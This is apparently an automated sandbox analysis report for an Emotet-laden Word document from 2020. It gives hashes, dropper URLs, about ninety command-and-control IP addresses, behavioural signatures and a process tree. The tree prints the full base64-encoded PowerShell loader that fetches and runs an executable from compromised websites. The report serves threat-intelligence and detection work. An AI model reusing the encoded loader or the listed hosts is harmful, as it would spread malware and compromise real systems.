Analysis
- max time kernel
140s - max time network
137s - platform
windows10_x64 - resource
win10v200722 - submitted
21/08/2020, 19:28
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_17d1a183b329a542e212c99216bfbc17c5abd835093634f262e79e38dbb61be8_2020-08-21__192621._doc.doc
Resource
win7
General
- Target emotet_e1_17d1a183b329a542e212c99216bfbc17c5abd835093634f262e79e38dbb61be8_2020-08-21__192621._doc.doc
- Size 178KB
- Sample200821-ngcyxykd96
- SHA256 17d1a183b329a542e212c99216bfbc17c5abd835093634f262e79e38dbb61be8
- MD5 22957c3a2d21d68bf68b917de3c1fdd0
- SHA1 e61929e4c293dfe2fd79a95afb1db48a8b2c0544
- SHA512 685cdf58426c4e0881ed20fdb0f939f7754a8f705edc4f5d9bbc496864861c0be2133a7b621d7cccc059199becdf5bfb8cc86b7c0f3d6559d9a1d42b7be1650f
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://tavo.cl/resumen-uso-inodos/2/
-
exe.dropper
http://swiftlogisticseg.com/wp-admin/yV/
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exe.dropper
http://uss.ac.th/cgi-bin/g0/
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exe.dropper
http://nettube.com.br/rar/AM/
-
exe.dropper
https://onyourleftracing.com/cgi-bin/uas/
-
exe.dropper
http://paganwitch.com/wp-admin/H/
-
exe.dropper
http://turbozero.com/luxcal/files/z/
Extracted
-
emotet
-
181.30.61.163:443
-
209.126.6.222:8080
-
5.153.250.14:8080
-
188.135.15.49:80
-
104.131.41.185:8080
-
178.250.54.208:8080
-
50.28.51.143:8080
-
170.81.48.2:80
-
87.106.46.107:8080
-
191.99.160.58:80
-
187.162.248.237:80
-
89.32.150.160:8080
-
46.28.111.142:7080
-
190.190.148.27:8080
-
190.115.18.139:8080
-
178.79.163.131:8080
-
73.213.208.163:80
-
219.92.8.17:8080
-
95.9.180.128:80
-
212.71.237.140:8080
-
82.196.15.205:8080
-
111.67.12.221:8080
-
24.135.198.218:80
-
202.4.57.96:80
-
61.92.159.208:8080
-
80.249.176.206:80
-
77.90.136.129:8080
-
81.129.198.57:80
-
58.171.153.81:80
-
217.13.106.14:8080
-
24.148.98.177:80
-
51.255.165.160:8080
-
190.6.193.152:8080
-
149.62.173.247:8080
-
94.206.45.18:80
-
137.74.106.111:7080
-
190.195.129.227:8090
-
85.109.159.61:443
-
207.144.103.227:80
-
91.219.169.180:80
-
217.199.160.224:7080
-
104.131.103.37:8080
-
83.169.21.32:7080
-
82.163.245.38:80
-
204.225.249.100:7080
-
152.169.22.67:80
-
45.161.242.102:80
-
65.36.62.20:80
-
185.94.252.27:443
-
116.125.120.88:443
-
190.24.243.186:80
-
190.147.137.153:443
-
190.128.173.10:80
-
192.241.146.84:8080
-
186.250.52.226:8080
-
68.183.170.114:8080
-
45.173.88.33:80
-
12.162.84.2:8080
-
185.33.0.233:80
-
68.183.190.199:8080
-
73.116.193.136:80
-
213.60.96.117:80
-
189.2.177.210:443
-
186.103.141.250:443
-
177.73.0.98:443
-
72.47.248.48:7080
-
2.47.112.152:80
-
181.129.96.162:8080
-
5.196.35.138:7080
-
185.94.252.12:80
-
190.163.31.26:80
-
94.176.234.118:443
-
70.32.84.74:8080
-
213.176.36.147:8080
-
114.109.179.60:80
-
177.74.228.34:80
-
186.70.127.199:8090
-
174.100.27.229:80
-
45.33.77.42:8080
-
212.93.117.170:80
-
219.92.13.25:80
-
188.2.217.94:80
-
77.55.211.77:8080
-
172.104.169.32:8080
-
85.105.140.135:443
-
209.236.123.42:8080
-
70.32.115.157:8080
-
24.135.1.177:80
-
82.76.111.249:443
-
192.241.143.52:8080
-
51.159.23.217:443
-
191.182.6.118:80
-
67.247.242.247:80
-
177.72.13.80:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2252 1144 powersheLL.exe 67 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3608-13-0x00000000001F0000-0x00000000001FC000-memory.dmp emotet behavioral2/memory/3608-13-0x00000000001F0000-0x00000000001FC000-memory.dmp emotet behavioral2/memory/2484-16-0x00000000001E0000-0x00000000001EC000-memory.dmp emotet behavioral2/memory/2484-16-0x00000000001E0000-0x00000000001EC000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 17 2252 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3608 Ebx_b2iy.exe 2484 UXInit.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\OneCoreCommonProxyStub\UXInit.exe Ebx_b2iy.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 788 WINWORD.EXE 788 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2252 powersheLL.exe 2252 powersheLL.exe 2252 powersheLL.exe 2484 UXInit.exe 2484 UXInit.exe 2484 UXInit.exe 2484 UXInit.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2252 powersheLL.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2252 wrote to memory of 3608 2252 powersheLL.exe 76 PID 2252 wrote to memory of 3608 2252 powersheLL.exe 76 PID 2252 wrote to memory of 3608 2252 powersheLL.exe 76 PID 3608 wrote to memory of 2484 3608 Ebx_b2iy.exe 77 PID 3608 wrote to memory of 2484 3608 Ebx_b2iy.exe 77 PID 3608 wrote to memory of 2484 3608 Ebx_b2iy.exe 77
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_17d1a183b329a542e212c99216bfbc17c5abd835093634f262e79e38dbb61be8_2020-08-21__192621._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:788
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABEADYAegBfADgAMAB1AD0AKAAnAE0ANAB0AHIAJwArACcAbABsAGoAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBuAFYAOgBUAEUATQBQAFwATwBGAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAEMAVQBSAEkAYABUAFkAcAByAE8AdABPAGAAYwBgAG8AbAAiACAAPQAgACgAJwB0AGwAcwAnACsAJwAxADIALAAgACcAKwAnAHQAbABzADEAMQAsACAAdABsACcAKwAnAHMAJwApADsAJABSADcAdQBxAGsAbQBsACAAPQAgACgAJwBFACcAKwAnAGIAeABfAGIAJwArACcAMgBpAHkAJwApADsAJABZAG0ANQA3AGIAdgAwAD0AKAAnAEsAZQAnACsAJwBwADQAJwArACcAMwBfAGoAJwApADsAJABGADgAZQBmAGcAdQBjAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBMAGcAUgAnACsAJwBPAGYAZgBpAGMAZQAyADAAMQA5ACcAKwAnAEwAJwArACcAZwBSACcAKQAuACIAUgBFAFAAYABsAEEAQwBlACIAKAAoAFsAQwBoAGEAcgBdADcANgArAFsAQwBoAGEAcgBdADEAMAAzACsAWwBDAGgAYQByAF0AOAAyACkALAAnAFwAJwApACkAKwAkAFIANwB1AHEAawBtAGwAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwAkAFoAegBuAGIAdwAzAG0APQAoACcAVgAnACsAJwBqAGoAegBsACcAKwAnAHcAbgAnACkAOwAkAEcAOQA5ADYAOABmADgAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AVwBlAGIAYwBMAEkARQBOAHQAOwAkAEYAdwBhAGEAMQBxAHIAPQAoACcAaAB0AHQAJwArACcAcAA6AC8ALwB0AGEAJwArACcAdgBvAC4AYwBsACcAKwAnAC8AcgBlAHMAdQBtAGUAbgAtAHUAcwAnACsAJwBvACcAKwAnAC0AaQAnACsAJwBuAG8AZABvAHMAJwArACcALwAyAC8AKgBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoALwAvAHMAdwAnACsAJwBpAGYAdAAnACsAJwBsAG8AZwBpACcAKwAnAHMAJwArACcAdABpAGMAcwBlAGcALgBjAG8AbQAnACsAJwAvAHcAJwArACcAcAAtAGEAJwArACcAZABtACcAKwAnAGkAbgAvAHkAVgAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwB1AHMAJwArACcAcwAnACsAJwAuACcAKwAnAGEAYwAuAHQAaAAvACcAKwAnAGMAZwBpAC0AYgBpAG4ALwBnADAALwAnACsAJwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAvAC8AbgAnACsAJwBlAHQAJwArACcAdAB1AGIAZQAuAGMAbwBtACcAKwAnAC4AYgAnACsAJwByAC8AcgBhAHIAJwArACcALwBBAE0ALwAqACcAKwAnAGgAJwArACcAdAB0AHAAcwAnACsAJwA6ACcAKwAnAC8ALwBvACcAKwAnAG4AeQBvAHUAJwArACcAcgBsAGUAZgB0AHIAYQBjACcAKwAnAGkAbgBnAC4AYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAJwArACcAaQAtAGIAaQAnACsAJwBuAC8AJwArACcAdQBhACcAKwAnAHMALwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAcAAnACsAJwBhACcAKwAnAGcAYQAnACsAJwBuAHcAaQB0AGMAaAAuAGMAbwBtAC8AdwBwAC0AYQAnACsAJwBkAG0AaQAnACsAJwBuAC8AJwArACcASAAvACoAaAB0AHQAcAA6AC8ALwB0AHUAcgBiACcAKwAnAG8AegAnACsAJwBlACcAKwAnAHIAJwArACcAbwAuACcAKwAnAGMAJwArACcAbwAnACsAJwBtAC8AbAB1AHgAYwBhAGwALwBmACcAKwAnAGkAbABlAHMAJwArACcALwB6ACcAKwAnAC8AJwApAC4AIgBTAFAAYABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEEAcQAwAHcAMQBqAHEAPQAoACcATwB5ADgAJwArACcAaAA1ADkAcAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABIAGUAYwBpAGoAcwAyACAAaQBuACAAJABGAHcAYQBhADEAcQByACkAewB0AHIAeQB7ACQARwA5ADkANgA4AGYAOAAuACIARABgAG8AdwBuAGAATABPAEEAYABEAGYASQBMAGUAIgAoACQASABlAGMAaQBqAHMAMgAsACAAJABGADgAZQBmAGcAdQBjACkAOwAkAEoAeABiAGMANgB4ADkAPQAoACcAQQAnACsAJwBoAGMAJwArACcAMwBtAGsAcgAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQARgA4AGUAZgBnAHUAYwApAC4AIgBMAEUAYABOAEcAYABUAEgAIgAgAC0AZwBlACAAMwA2ADIAMgAzACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAKAAkAEYAOABlAGYAZwB1AGMAKQA7ACQAVgAzAGwAYQB5AHgAMgA9ACgAJwBEAHIAOQAnACsAJwA3AGYANQA3ACcAKQA7AGIAcgBlAGEAawA7ACQARgBsAHoAdQBrADMAcAA9ACgAJwBVAHYAdAAnACsAJwBnACcAKwAnAHkANwBrACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBxAGEAZwBkAGIAMQA9ACgAJwBJACcAKwAnADUAegBmAF8AawA2ACcAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\Users\Admin\AppData\Local\Temp\Office2019\Ebx_b2iy.exe"C:\Users\Admin\AppData\Local\Temp\Office2019\Ebx_b2iy.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3608 -
C:\Windows\SysWOW64\OneCoreCommonProxyStub\UXInit.exe"C:\Windows\SysWOW64\OneCoreCommonProxyStub\UXInit.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2484
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